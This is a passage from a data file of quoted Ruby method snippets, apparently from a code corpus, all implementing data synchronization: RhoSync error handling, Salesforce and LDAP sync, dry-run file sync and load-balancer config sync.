end\n end",
"def synchronization\n attributes.fetch(:synchronization)\n end",
"def sync\n self.disabled_reason = nil\n if valid?\n execute_sync\n true\n else\n false\n end\n end",
"def sync_notify\n # ERR_NONE = 0\n # ERR_NETWORK = 1\n # ERR_REMOTESERVER = 2\n # ERR_RUNTIME = 3\n # ERR_UNEXPECTEDSERVERRESPONSE = 4\n # ERR_DIFFDOMAINSINSYNCSRC = 5\n # ERR_NOSERVERRESPONSE = 6\n # ERR_CLIENTISNOTLOGGEDIN = 7\n # ERR_CUSTOMSYNCSERVER = 8\n # ERR_UNATHORIZED = 9\n # ERR_CANCELBYUSER = 10\n # ERR_SYNCVERSION = 11\n # ERR_GEOLOCATION = 12\n \n setup_sync_handlers\n \n \n sourcename = @params['source_name'] ? @params['source_name'] : \"\"\n \n status = @params['status'] ? @params['status'] : \"\"\n \n if status == \"complete\"\n update_last_synced_time\n \n puts \"%\"*80\n puts \"SYNC COMPLETE\"\n puts \"new opp sync pending: \" + Settings.new_opportunity_sync_pending.to_s\n if Settings.new_opportunity_sync_pending\n puts \"Sync complete, starting pending new_opportunity sync.\"\n SyncUtil.start_sync('new_opportunity')\n Settings.new_opportunity_sync_pending = false\n end\n \n # store device info\n DeviceInfo.check_device_information\n \n @on_sync_complete.call\n \n WebView.execute_js(\"stopSyncSpin();\") \n\n #if latest integrated lead createdon is greater than before sync, display popup alert\n # handle_new_integrated_leads\n elsif status == \"ok\"\n if sourcename == 'AppInfo'\n check_for_upgrade\n elsif model_limits_exceeded?(sourcename, @params['total_count'])\n # model limit exceeded, stop synchronization\n return\n end\n \n if sourcename == 'Opportunity'\n handle_new_integrated_leads\n end\n \n if @params['source_name'] && @params['cumulative_count'] && @params['cumulative_count'].to_i > 0\n klass = Object.const_get(@params['source_name'])\n klass.local_changed=true if klass && klass.respond_to?(:local_changed=)\n end\n \n @on_sync_ok.call\n elsif status == \"in_progress\"\n @on_sync_in_progress.call\n elsif status == \"error\"\n err_code = @params['error_code'].to_i\n rho_error = Rho::RhoError.new(err_code)\n \n is_bad_request_data = (err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER) && !@params['server_errors'].to_s[/406 Not Acceptable/].nil?\n \n if @params['server_errors'] && @params['server_errors']['create-error']\n log_error(\"Create error\", @params.inspect)\n unless is_bad_request_data \n SyncEngine.on_sync_create_error( @params['source_name'], @params['server_errors']['create-error'], :recreate)\n else\n #notify the user here?\n #the create data given to the proxy was bad and will not succeed if tried again; delete the create\n SyncEngine.on_sync_create_error( @params['source_name'], @params['server_errors']['create-error'], :delete)\n end\n end\n \n if @params['server_errors'] && @params['server_errors']['update-error']\n log_error(\"Update error\", @params.inspect)\n unless is_bad_request_data\n SyncEngine.on_sync_update_error( @params['source_name'], @params['server_errors']['update-error'], :retry)\n else\n #notify the user here?\n SyncEngine.on_sync_update_error( @params['source_name'], @params['server_errors']['update-error'], :rollback, @params['server_errors']['update-rollback'])\n end\n end\n\n @msg = rho_error.message unless @msg and @msg.length > 0\n \n # RhoSync 2.1.5 has fixes that will cause rho_error.unknown_client? to return true in the proper scenarios.\n is_unknown_client_error = rho_error.unknown_client?(@params['error_message']) \n \n # Legacy support for RhoSync versions before 2.1.5\n is_unknown_client_error ||= (err_code == Rho::RhoError::ERR_REMOTESERVER && @params['error_message'] == \"undefined method `user_id' for nil:NilClass\")\n \n # Rhosync is not aware of this client's ID. Reset and force the user to the login screen.\n if is_unknown_client_error\n log_error(\"Error: Unknown client\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n \n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n\n full_reset_logout\n \n goto_login(\"Unknown client, please log in again.\")\n elsif err_code == Rho::RhoError::ERR_NETWORK\n #leave ':send_to_exceptional => false' alone until infinite loop issue is fixed for clients without a network connection\n log_error(\"Network connectivity lost\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\", {:send_to_exceptional => false})\n \n #stop current sync, otherwise do nothing for connectivity lapse\n SyncEngine.stop_sync\n \n #send them back to login because initial sync did not complete\n @on_sync_error.call({:error_source => 'connection'})\n elsif [Rho::RhoError::ERR_CLIENTISNOTLOGGEDIN,Rho::RhoError::ERR_UNATHORIZED].include?(err_code) \n log_error(\"RhoSync error: client is not logged in / unauthorized\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n background_login\n elsif err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER && !@params['server_errors'].to_s[/401 Unauthorized/].nil?\n #proxy returned a 401, need to re-login\n log_error(\"Error: 401 Unauthorized from proxy\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n \n Settings.initial_sync_complete = false\n Settings.password = ''\n goto_login(\"Your username/password is no longer valid. Please log in again.\")\n elsif err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER && !@params['server_errors'].to_s[/403 Forbidden/].nil?\n #proxy returned a 403, need to purge the database and log the user out\n log_error(\"Error: 403 Forbidden from proxy\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n \n full_reset_logout\n \n msg = ERR_403_MESSAGE\n goto_login(msg)\n elsif is_bad_request_data\n log_error(\"Bad request data\",\"Bad request data, client sent invalid data to CRM proxy, proxy returned 406. Error params: #{@params.inspect}\")\n else\n log_error(\"Unhandled error in sync_notify: #{err_code}\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n @on_sync_error.call({:error_source => 'unknown', :error_code => err_code})\n end\n end\n end",
"def remote_sync_if_necessary(options={})\n false\n end",
"def synchronization=(value)\n @synchronization = value\n end",
"def old_sync; end",
"def gloo_sync\n return if Rails.env.test? # guard against trigger background jobs from specs\n return unless ENV[\"GLOO_BASE_URL\"].present? # guard against sync unless configured\n return unless Claim.contact_strategy == ConzealandContact # guard against sync unless conzealand specifically\n return unless gloo_lookup_user.present? # guard against sync if we can't associate a user with this model\n\n GlooSync.perform_async(gloo_lookup_user.email)\n end",
"def sync_all_data\n return if self.disabled?\n self.sync_availability\n self.sync_rate\n self.sync_stop_sell\n self.sync_min_stay\n\n if self.channel == GtaTravelChannel.first\n self.sync_gta_travel_cta\n self.sync_gta_travel_ctb\n else\n self.sync_cta if Constant::SUPPORT_CTA.include?(self.channel)\n self.sync_ctd if Constant::SUPPORT_CTD.include?(self.channel)\n end\n end",
"def sync\n TaskwarriorWeb::Command.new(:sync, nil, nil).run\n end",
"def sync_sf_to_local(sync_query, sync_fields, remote_sobject, force = false)\n # local_object = sync_query.local_model.constantize.find_or_initialize_by(:sf_id => remote_sobject.Id)\n select_object = @local_objects.select {|lo| lo.sf_id == remote_sobject.Id} \n if select_object.empty?\n local_object = sync_query.local_model.constantize.new(:sf_id => remote_sobject.Id)\n else\n local_object = select_object.first\n end\n # Sync only if the Salesforce object is newer than the local object \n unless force == true\n diff = different?(local_object, remote_sobject, sync_fields)\n sf_newer = sobject_newer?(remote_sobject, local_object)\n print \"Different? #{diff}\\n\"\n end\n \n if (diff && sf_newer) || force == true \n sync_fields.each do |field|\n # Update the local field if it's value is different from the value in Salesforce\n local_object[\"#{field.local_field_name}\"] != remote_sobject[\"#{field.sf_field_name}\"] ? local_object[\"#{field.local_field_name}\"] = remote_sobject[\"#{field.sf_field_name}\"] : nil\n # If Model has a last_sync_at column add the current timestamp\n if local_object.has_attribute?(:last_sync_at) && local_object.has_changes_to_save?\n local_object.last_sync_at = Time.now\n end \n end\n if local_object.has_changes_to_save?\n local_object.save(:validate => false) ? puts(local_object.to_s) : 'error' \n end\n end \n end",
"def doSync(options = {})\n #N Without this, the content files will be cleared regardless of whether :full options is specified\n if options[:full]\n #N Without this, the content files won't be cleared when the :full options is specified\n clearCachedContentFiles()\n end\n #N Without this, the required content information won't be retrieved (be it from cached content files or from the actual locations)\n getContentTrees()\n #N Without this, the required copy and delete operations won't be marked for execution\n markSyncOperations()\n #N Without this, we won't know if only a dry run is intended\n dryRun = options[:dryRun]\n #N Without this check, the destination cached content file will be cleared, even for a dry run\n if not dryRun\n #N Without this check, the destination cached content file will remain there, even though it is stale once an actual (non-dry-run) sync operation is started.\n @destinationLocation.clearCachedContentFile()\n end\n #N Without this, the marked copy operations will not be executed (or in the case of dry-run, they won't be echoed to the user)\n doAllCopyOperations(dryRun)\n #N Without this, the marked delete operations will not be executed (or in the case of dry-run, they won't be echoed to the user)\n doAllDeleteOperations(dryRun)\n #N Without this check, the destination cached content file will be updated from the source content file, even if it was only a dry-run (so the remote location hasn't actually changed)\n if (not dryRun and @destinationLocation.cachedContentFile and @sourceLocation.cachedContentFile and\n File.exists?(@sourceLocation.cachedContentFile))\n #N Without this, the remote cached content file won't be updated from local cached content file (which is a reasonable thing to do assuming the sync operation completed successfully)\n FileUtils::Verbose.cp(@sourceLocation.cachedContentFile, @destinationLocation.cachedContentFile)\n end\n #N Without this, any cached SSH connections will remain unclosed (until the calling application has terminated, which may or may not happen soon after completing the sync).\n closeConnections()\n end",
"def perform(name = nil, count = nil)\n active_organizations = Maestrano::Connector::Rails::Organization.where.not(oauth_provider: nil, encrypted_oauth_token: nil)\n gap_span = (60 / active_organizations.count).to_i\n time = 0\n active_organizations.each do |o|\n next unless [true, 1].include?(o.sync_enabled)\n Maestrano::Connector::Rails::SynchronizationJob.set(wait: time.minutes).perform_later(o.id, {})\n time += gap_span\n end\n end",
"def sync *attributes\n self.class.define_method(:sync_attributes) do\n ActiveSync::Sync.sync_attributes(self, attributes)\n end\n define_method(:sync_record) do\n ActiveSync::Sync.sync_record(self, attributes)\n end\n define_method(:sync_associations) do\n ActiveSync::Sync.sync_associations(self, attributes)\n end\n end",
"def sync() end",
"def sync() end",
"def sync() end",
"def synchronizeTrigger _obj, _args\n \"_obj synchronizeTrigger _args;\" \n end",
"def sync_options\n @sync_options ||= session.configuration.options_for_table(left_table)\n end",
"def sync_with_service_department\n if needs_sync?\n begin\n start_sync\n update(synced_on: Date.today)\n rescue\n logger.debug \"Something went wrong sending registration: #{self.inspect}\"\n end\n end\n end",
"def sync=\n end",
"def is_user_contacts_syncable?\n return get(:should_sync) == true\n end",
"def synchronizedTriggers _args\n \"synchronizedTriggers _args;\" \n end",
"def ensure_sync_state\n unless @ensured_sync_state\n ReplicationInitializer.new(session).ensure_sync_state\n @ensured_sync_state = true\n end\n end",
"def marketing_tool_sync_subscription\n case(club.marketing_tool_client)\n when 'exact_target'\n exact_target_subscribe if defined?(SacExactTarget::MemberModel)\n when 'mailchimp_mandrill'\n Mailchimp::UserSynchronizationJob.perform_later(self.id) if defined?(SacMailchimp::MemberModel)\n end\n end",
"def sync\n end",
"def sync\n end",
"def force_message(force)\n if force\n \"Bulk update has started FOR REAL\"\n else\n \"Bulk update has started in DRY-RUN mode. add force=true to really do it.\"\n end\nend",
"def sync(&block)\n queue SyncCommand, [], {}, &block\n end",
"def synchronization\n return @synchronization\n end",
"def company_task_consistent\n return if self.project.nil?\n return if self.project.client.company.tasks.include?(self.task)\n errors.add(:task, \"must belong to the stated company\")\n end",
"def salesforce_skip_sync?\n return true if ::SfDbSync.config[\"SYNC_ENABLED\"] == false\n return (salesforce_skip_sync || !self.class.sf_db_sync_enabled || send(self.class.salesforce_skip_sync_method)) if self.class.salesforce_skip_sync_method.present?\n return (salesforce_skip_sync || !self.class.sf_db_sync_enabled)\n end",
"def salesforce_sync\n sf_user = Contact.find(:first, :conditions => ['email = ?', self.email]) || Contact.new()\n sf_user.email = self.email\n sf_user.remote_id__c = self.id \n sf_user.remote_login__c = self.login\n sf_user.first_name = self.first_name || 'not specified'\n sf_user.last_name = self.last_name || 'not specified'\n sf_user.mailing_city = self.city\n sf_user.mailing_state = self.state.name\n sf_user.mailing_postal_code = self.zip\n sf_user.mailing_country = self.country.name\n sf_user.first_language__c = self.language\n sf_user.grade_level_experience__c = self.grade_level_experiences.collect{|c| c.name}\n sf_user.why_joined__c = self.why_joined\n sf_user.additional_skills__c = self.skills\n sf_user.other_languages__c = self.languages.collect{|c| c.english_name}\n sf_user.occupation__c = self.occupation\n sf_user.employer__c = self.organization\n \n # website :string(255) \n # blog :string(255) \n # about_me :text \n # aim_name :string(255) \n # location :string(255) \n # city :string(255) \n # state :integer(11) \n # zip :string(255) \n # country :integer(11) \n # phone :string(255) \n # phone2 :string(255) \n \n # interest_areas__c: nil,\n # giraffe_heroes__c: false, \n # my_tec_c__c: false, \n # twb_tools__c: false, \n # twb_canada__c: false, \n # newsletter__c: false,\n\n begin\n sf_user.save\n rescue Exception => err\n logger.error(\"Failed to sync with Salesforce: #{err.message}\")\n end\n end",
"def sync\n run 'sync', :quiet => true\n end",
"def sync_changes(task)\n tasks_in_sync = Task.all(:original => task.id)\n solutions_saved = ''\n \n if rebuild_cache(Kuni.find_by_id(task.kuni_id))\n if !tasks_in_sync.nil?\n tasks_in_sync.each do |task_sinc|\n task_sinc.is_done = task.in_sync ? Task.find_by_id(task.original).is_done : task.is_done\n kuni = Kuni.find_by_id(task_sinc.kuni_id)\n if task_sinc.save and rebuild_cache(kuni)\n logg(kuni,6)\n solutions_saved << ''\n else\n solutions_saved << 'f'\n end\n end\n end\n end\n solutions_saved\n end",
"def need_sync?\n if is_ignored || err_count >= MAX_SYNC_ERR\n false\n elsif last_sync == DUMMY_TIMESTAMP\n true\n else\n case sync_type.to_sym\n when :SYNC_UP\n clab_id.nil? || ext_last_update > last_sync\n when :SYNC_DOWN\n ext_obj_id.nil? || clab_last_update > last_sync\n else\n raise SyncError, 'sync mode not supported'\n end\n end\n end",
"def sync_with campaign\n campaign_id = campaign.id if campaign.is_a?(Campaign) \n campaign_id ||= campaign\n\n sync_list = self.sync\n sync_list[:with] ||= []\n sync_list[:with] << campaign_id\n self.sync = sync_list\n self.save\n end",
"def old_sync=(_arg0); end",
"def sync; end",
"def tsync=(value)\n set_attr(:tsync, value ? 1 : 0)\n @tsync = value\n end",
"def markSyncOperations\n #N Without this, the sync operations won't be marked\n @sourceContent.markSyncOperationsForDestination(@destinationContent)\n #N Without these puts statements, the user won't receive feedback about what sync operations (i.e. copies and deletes) are marked for execution\n puts \" ================================================ \"\n puts \"After marking for sync --\"\n puts \"\"\n puts \"Local:\"\n #N Without this, the user won't see what local files and directories are marked for copying (i.e. upload)\n @sourceContent.showIndented()\n puts \"\"\n puts \"Remote:\"\n #N Without this, the user won't see what remote files and directories are marked for deleting\n @destinationContent.showIndented()\n end",
"def sync_tasks\n\n #TODO make this line optional\n @account_info = @authenticator.get_account\n\n #Add any tasks that needed to be added\n new_tasks = @tasks.keys.select{|task| task.brand_new?}\n @authenticator.add_tasks(new_tasks.collect {|task| task.json_parsed}) unless @new_tasks.new_tasks.empty?\n\n #Record that the tasks have already been added\n new_tasks.each {|task| task.no_longer_new}\n\n #Delete any tasks that were marked as deleted locally but not yet removed from @tasks\n deleted_tasks = @tasks.keys.select{|task| task.deleted?}\n @authenticator.delete_tasks(deleted_tasks.collect {|task| task.id}) unless deleted_tasks.empty?\n \n if lastedit_task > @last_task_sync\n #Get (recently edited) tasks\n tasks = @authenticator.get_tasks {:after => lastedit_task}\n \n locally_edited = []\n\n #TODO we may need to put this in a loop and load tasks page by page\n tasks.each do |task|\n if not @tasks[task.id]\n #If for some reason the task doesn't exist yet locally, add it\n @tasks[task.id] = task\n else\n #Compare modification times, update local copy when necessary, and resolve editing conflicts\n #Do NOT use task.last_mod, because that will just refer to the time that the get_tasks function was called!\n #Instead, we care about the time that the last edits were actually saved on the Toodledo server\n if task.modified > @tasks[task.id].last_mod\n #The server-stored task was modified more recently than the local task\n #TODO make sure all other locations are properly mutating the task, rather than creating parallel/outdated instances\n #If we simply overwrote the task instead of updating task.json_parsed, any past references to the task would point to an invalid/outdated\n @tasks[task.id].json_parsed = task.json_parsed\n @tasks[task.id].edit_saved\n else\n #The local task was modified more recently than the server-stored task\n #Realistically, the two timestamps cannot be the same, but if they are, we will assume the local copy is more accurate\n locally_edited.push(@tasks[task.id])\n end\n end\n end\n end\n\n if lastdelete_task > @last_task_sync\n #Query the deleted tasks (on the Toodledo server) and delete them here locally\n @user.get_deleted_tasks.collect{|task| task.id}.each do |id| \n #The delete boolean will be set just in case there are other references to the task, in which case it would not be garbage-collected\n @tasks[id].delete!\n @tasks[id].edit_saved #Make sure it won't be edited-saved in the future\n @tasks.delete(id)\n end\n end\n\n locally_edited = locally_edited.select{|task| not task.deleted?}\n @user.edit_tasks(locally_edited.collect{|task| task.json_parsed}) unless locally_edited.empty?\n \n #After this, the modified timestamp on the server will be the current time, which is later than the task.last_mod for any task stored locally\n \n #TODO check if there were repeating tasks that needed to be rescheduled\n \n #Remove any deleted tasks from @tasks. There may still be references elsewhere to them (depending on the application), so they may not necessarily be garbage-collected\n @tasks = @tasks.select{|task| not task.deleted?}\n\n @last_task_sync = Time.now\n end",
"def last_synchronization\n HasRemote::Synchronization.for(self.name).last\n end",
"def mediaspot_set_syncing_status client\r\n\r\n\t\t# time since last sync\r\n\t\tclient['synced_ago'] = nil\r\n\t\tclient['synced_date'] = nil\r\n\t\tbegin\r\n\t\t\trepoSyncLastCompletedTime = client['RepoSyncLastCompletedTime']['_value']\r\n\t\t\tif repoSyncLastCompletedTime != '' and repoSyncLastCompletedTime != 'No Info'\r\n\t\t\t\tclient['synced_ago'] = time_ago_in_words(repoSyncLastCompletedTime, include_seconds: true) + ' ago'\r\n\t\t\t\tclient['synced_date'] = repoSyncLastCompletedTime\r\n\t\t\tend\r\n\t\trescue\r\n\t\tend\r\n\r\n\t\tlog = ''\r\n\t\tbegin\r\n\t\t\tlog = client['RepoSyncLog']['_value']\r\n\t\trescue\r\n\t\tend\r\n\r\n\t\t# is it syncing now?\r\n\t\tclient['syncing'] = false\r\n\r\n\t\tif client.key?('IsSyncing') and client['IsSyncing'].key?('_value')\r\n\r\n\t\t\tclient['syncing'] = client['IsSyncing']['_value'] == 'true' or\r\n\t\t\t\tclient['IsSyncing']['_value'] == true or\r\n\t\t\t\tclient['IsSyncing']['_value'] == 'stuck'\r\n\t\t\t\t\r\n\t\telse\r\n\t\t\tunless (log||'').strip == '' or\r\n\t\t\t\tlog.lines.last.include?('ERROR:') or\r\n\t\t\t\tlog.lines.last.include?('error:') or\r\n\t\t\t\tlog.lines.any?{|line| line.start_with?('Done.') or line.start_with?('INFO: Done.') }\r\n\t\t\t\tclient['syncing'] = true\r\n\t\t\tend\r\n\t\tend\r\n\r\n\r\n\t\t# were there an error?\r\n\t\tclient['sync_error'] = false\r\n\t\tbegin\r\n\t\t\tlastLine = log.split(\"\\n\").last\r\n\t\t\tif lastLine.include?('ERROR:') or\r\n\t\t\t\tlastLine.include?('error:')\r\n\t\t\t\tclient['sync_error'] = true\r\n\t\t\tend\r\n\t\trescue\r\n\t\tend\r\n\r\n\tend",
"def sync(only: nil, except: nil, parallel: nil, output: $stdout)\n subscribed_task_stats(output) do\n indexes_from(only: only, except: except).each_with_object([]) do |index, synced_indexes|\n output.puts \"Synchronizing #{index}\"\n output.puts \" #{index} doesn't support outdated synchronization\" unless index.supports_outdated_sync?\n time = Time.now\n sync_result = index.sync(parallel: parallel)\n if !sync_result\n output.puts \" Something went wrong with the #{index} synchronization\"\n elsif (sync_result[:count]).positive?\n output.puts \" Missing documents: #{sync_result[:missing]}\" if sync_result[:missing].present?\n output.puts \" Outdated documents: #{sync_result[:outdated]}\" if sync_result[:outdated].present?\n synced_indexes.push(index)\n else\n output.puts \" Skipping #{index}, up to date\"\n end\n output.puts \" Took #{human_duration(Time.now - time)}\"\n end\n end\n end",
"def fetch_and_enqueue(force_all_syncs=false)\n begin\n if force_all_syncs\n query = db.fetch(%Q(\n SELECT r.name, r.id FROM #{relation} r, users u WHERE\n (r.state = '#{CartoDB::Synchronization::Member::STATE_SUCCESS}'\n OR r.state = '#{CartoDB::Synchronization::Member::STATE_SYNCING}')\n AND u.id = user_id AND u.state = '#{Carto::User::STATE_ACTIVE}'\n ))\n else\n query = db.fetch(%Q(\n SELECT r.name, r.id, r.user_id FROM #{relation} r, users u\n WHERE EXTRACT(EPOCH FROM r.run_at) < #{Time.now.utc.to_f}\n AND u.id = user_id AND u.state = '#{Carto::User::STATE_ACTIVE}'\n AND\n (\n r.state = '#{CartoDB::Synchronization::Member::STATE_SUCCESS}'\n OR (r.state = '#{CartoDB::Synchronization::Member::STATE_FAILURE}'\n AND r.retried_times < #{CartoDB::Synchronization::Member::MAX_RETRIES})\n )\n ORDER BY ran_at\n ))\n end\n success = true\n rescue Exception => e\n success = false\n print_log(\"ERROR fetching sync tables: #{e.message}, #{e.backtrace}\", true)\n end\n\n if success\n print_log \"Fetched #{query.count} records\"\n force_all_syncs ? enqueue_all(query) : enqueue_rate_limited(query)\n end\n\n self\n end",
"def sync=(arg0)\n end",
"def get_external_entities(client, last_synchronization, organization, opts={})\n return [] unless self.class.can_read_external?\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"Fetching #{Maestrano::Connector::Rails::External.external_name} #{Entities::Company.external_entity_name.pluralize}\")\n # This method should return only entities that have been updated since the last_synchronization\n # It should also implements an option to do a full synchronization when opts[:full_sync] == true or when there is no last_synchronization\n if opts[:full_sync] || last_synchronization.blank?\n client.all(self.class.external_entity_name)\n else\n client.all(self.class.external_entity_name, ((last_synchronization.to_date).to_s))\n end\n end",
"def sync(params = {})\n params ||= {}\n params[:id] = @attributes[:id]\n raise MissingParameterError.new(\"Current object doesn't have a id\") unless @attributes[:id]\n raise InvalidParameterError.new(\"Bad parameter: id must be an Integer\") if params[:id] and !params[:id].is_a?(Integer)\n raise MissingParameterError.new(\"Parameter missing: id\") unless params[:id]\n\n Api.send_request(\"/sso_strategies/#{@attributes[:id]}/sync\", :post, params, @options)\n end",
"def touch_sync\n self.lastSyncAt = Time.now if self.respond_to?(:lastSyncAt=)\n end",
"def run_syncdb\n manage_py_execute('syncdb', '--noinput') if new_resource.syncdb\n end",
"def sync_configuration\n status = case\n when in_config? then 'Allocated'\n when @state == :deprecated then 'Cancelled'\n when @state == :recycle then 'Decommissioned'\n else 'Provisioning'\n end\n collins_set asset: collins_asset(true),\n status: status,\n shard_state: @state.to_s.upcase,\n shard_parent: @parent ? @parent.name : ''\n if @state == :recycle\n [@master, @master.slaves].flatten.each do |db|\n db.collins_pool = ''\n db.collins_secondary_role = ''\n db.collins_status = 'Unallocated'\n end\n elsif @state != :initializing\n # Note that we don't call Pool#slaves here to get all 3 types in one shot,\n # because that potentially includes child shards, and we don't want to overwrite\n # their pool setting...\n [@master, active_slaves, standby_slaves, backup_slaves].flatten.each do |db|\n current_status = (db.collins_status || '').downcase\n db.collins_status = 'Allocated:RUNNING' unless current_status == 'maintenance'\n db.collins_pool = @name\n end\n @master.collins_secondary_role = 'MASTER'\n\n standby_slaves.each {|db| db.collins_secondary_role = 'STANDBY_SLAVE'}\n backup_slaves.each {|db| db.collins_secondary_role = 'BACKUP_SLAVE'}\n end\n \n # handle lockless master migration situations\n if @state == :child && master.master && !@parent\n to_be_ejected_master = master.master\n to_be_ejected_master.collins_secondary_role = :standby_slave # not accurate, but no better option for now\n end\n \n true\n end",
"def run_sync opts\n reporter.output_format = (opts[:format] || :json).to_sym\n Roles.new(conjur, opts).sync_to adapter(opts).load_model\n rescue => e\n case e \n when RestClient::Exception\n log.error \"LDAP sync failed: #{e}\\n\\t#{e.response}\"\n else\n log.error \"LDAP sync failed: #{e}\"\n log.error \"backtrace:\\n#{[email protected] \"\\n\\t\"}\"\n raise e\n end\n end",
"def synced?\n contabilium_id.present? && ucrm_id.present?\n end",
"def data_synchronise_submission submission\n if submission and (@course.topicconcepts_updated_timing_singleton.update_required submission.updated_at)\n Assessment::GuidanceConceptStage.data_synchronisation submission, !@guidance_quiz.neighbour_entry_lock\n submission.set_updated_timing\n end\n end",
"def data_synchronise_submission submission\n if submission and (@course.topicconcepts_updated_timing_singleton.update_required submission.updated_at)\n Assessment::GuidanceConceptStage.data_synchronisation submission, !@guidance_quiz.neighbour_entry_lock\n submission.set_updated_timing\n end\n end",
"def sync(params)\n if params.has_key?(:group)\n group = params[:group]\n if @environment.in_dry_run_mode\n notify(:msg => \"[#{@name}] Would sync configurations for load balancer #{@config[:host]} to group #{group}\",\n :tags => [:f5, :dryrun])\n else\n notify(:msg => \"[#{@name}] Syncing configurations for load balancer #{@config[:host]} to group #{group}\",\n :tags => [:f5, :trace])\n with_f5('System.ConfigSync') do\n synchronize_to_group(group)\n end\n end\n else\n if @environment.in_dry_run_mode\n notify(:msg => \"[#{@name}] Would sync configurations for load balancer #{@config[:host]}\",\n :tags => [:f5, :dryrun])\n else\n notify(:msg => \"[#{@name}] Syncing configurations for load balancer #{@config[:host]}\",\n :tags => [:f5, :trace])\n with_f5('System.ConfigSync') do\n synchronize_configuration('CONFIGSYNC_ALL')\n end\n end\n end\n nil\n end",
"def execute_sync\n @env.primary_vm.run_action(Vagrant::Mirror::Middleware::Sync)\n end",
"def sync\n log.debug \"tenant #{@tenant} syncing resources: #{@resourcespec.resources}\"\n load_active_from_disk\n log.debug \"currently active: #{@active}\"\n\n # first deactivate everything to handle the case of resource removal\n @active.each do |resource, _|\n deactivate_resource(resource)\n end\n\n # check and sync resources\n @resourcespec.resources.each do |resource, version|\n if synced?(resource, version)\n log.debug \"resource #{resource} version #{version} is already synced\"\n else\n # sync resource locally from server\n sync_resource(@resourcespec.resource_formats[resource], resource, version)\n end\n end\n\n # check and activate resources\n @resourcespec.resources.each do |resource, version|\n if active?(resource, version)\n log.debug \"resource #{resource} version #{version} is already active\"\n else\n activate_resource(resource, version)\n end\n end\n end",
"def insync?(is)\n return true\n end",
"def insync?\n unless properties[:ensure] == :absent\n properties.each do |k, v|\n if resource[k].to_s != v\n resource[:ensure] = :modified\n break false\n end\n end\n end\n end",
"def synchronized(*args)\n# Case 1: with one argument and a block, synchronize on the object\n# and execute the block\nif args.size == 1 && block_given?\nargs[0].mutex.synchronize { yield }\n# Case two: with one argument that is not a symbol and no block\n# return a SynchronizedObject wrapper\nelsif args.size == 1 and not args[0].is_a? Symbol and not block_given?\nSynchronizedObject.new(args[0])\n# Case three: when invoked on a module with no block, alias chain the\n# named methods to add synchronization. Or, if there are no arguments,\n# then alias chain the next method defined.\nelsif self.is_a? Module and not block_given?\nif (args.size > 0) # Synchronize the named methods\nargs.each {|m| self.synchronize_method(m) }\nelse\n# If no methods are specified synchronize the next method defined\neigenclass = class<<self; self; end\neigenclass.class_eval do # Use eigenclass to define class methods\n# Define method_added for notification when next method is defined\ndefine_method :method_added do |name|\n# First remove this hook method\neigenclass.class_eval { remove_method :method_added }\n# Next, synchronize the method that was just added\nself.synchronize_method name\nend\nend\nend\n# Case 4: any other invocation is an error\nelse\nraise ArgumentError, \"Invalid arguments to synchronize()\"\nend\nend",
"def insync?(is)\n replace = @resource && @resource[:mode] == :replace\n\n should_yang = should\n\n if is == :unknown\n # if the current config is unknown, assume configs are not in-sync\n insync = false\n else\n if replace\n insync = Cisco::Netconf.insync_for_replace(should_yang, is)\n else\n insync = Cisco::Netconf.insync_for_merge(should_yang, is)\n end\n end\n\n if insync\n debug '**************** IDEMPOTENT -- NO CHANGES DETECTED ****************'\n elsif debug '**************** IS vs SHOULD CHANGES DETECTED ****************'\n end\n\n insync\n end",
"def sync()\n #This is a stub, used for indexing\n end",
"def perform\n track do\n reset!\n\n Restforce::DB::Registry.each do |mapping|\n run(\"CLEANING RECORDS\", Cleaner, mapping)\n run(\"ATTACHING RECORDS\", Attacher, mapping)\n run(\"PROPAGATING RECORDS\", Initializer, mapping)\n run(\"COLLECTING CHANGES\", Collector, mapping)\n end\n\n # NOTE: We can only perform the synchronization after all record\n # changes have been aggregated, so this second loop is necessary.\n Restforce::DB::Registry.each do |mapping|\n run(\"UPDATING ASSOCIATIONS\", Associator, mapping)\n run(\"APPLYING CHANGES\", Synchronizer, mapping)\n end\n end\n end",
"def sync_job(first_time = false, user = 'requester')\n\t\tRails.logger.info('Authorisation sync job started for scope: ' + self.scope)\n\t\tGmailSyncerJob.new.async.perform(self, first_time, user)\n\tend",
"def insync?(is)\n case @resource[:entry_management]\n when :inclusive\n super\n when :minimal\n synced = true\n provider.objectclass_to_update = Array.new\n @should[0].each do |v|\n unless is.include?(v)\n synced = false\n provider.objectclass_to_update << v\n end\n end\n synced\n end\n end",
"def insync?(_is)\n case @resource['enable']\n when :true\n # If a transition should occur, the resource is not insync.\n [email protected]?\n else\n # Return true, since a disabled transition is always insync.\n true\n end\n end",
"def check_to_unlock_for_data_synchronisation submission \n result = []\n criteria_result = criteria_check\n dependent_concept = self.concept_edge.dependent_concept\n dependent_concept_stage = Assessment::GuidanceConceptStage.get_passed_stage_simplified submission, dependent_concept.id\n\n #If pass, check for next concept stage\n # - delete if it is available (in case some other edge criteria not fulfiled)\n # - add if it is not available (in case it can be added)\n if criteria_result\n self.passed = true\n self.save\n if dependent_concept_stage.nil?\n cascade_unlock_loop submission, self.concept_edge.dependent_concept\n else\n \trequired_concept_edges = dependent_concept.concept_edge_required_concepts\n \tif !(Assessment::GuidanceConceptEdgeStage.concept_edges_check_all_criteria submission, required_concept_edges)\n Assessment::GuidanceConceptStage.cascade_delete_loop submission, dependent_concept_stage\n \tend\n end\n #If fail, just send for delete\n else\n self.passed = false\n self.save\n Assessment::GuidanceConceptStage.cascade_delete_loop submission, dependent_concept_stage\n end\n end",
"def synchronization_prevention_type\n return @synchronization_prevention_type\n end",
"def fsync() end",
"def fsync() end",
"def fsync() end",
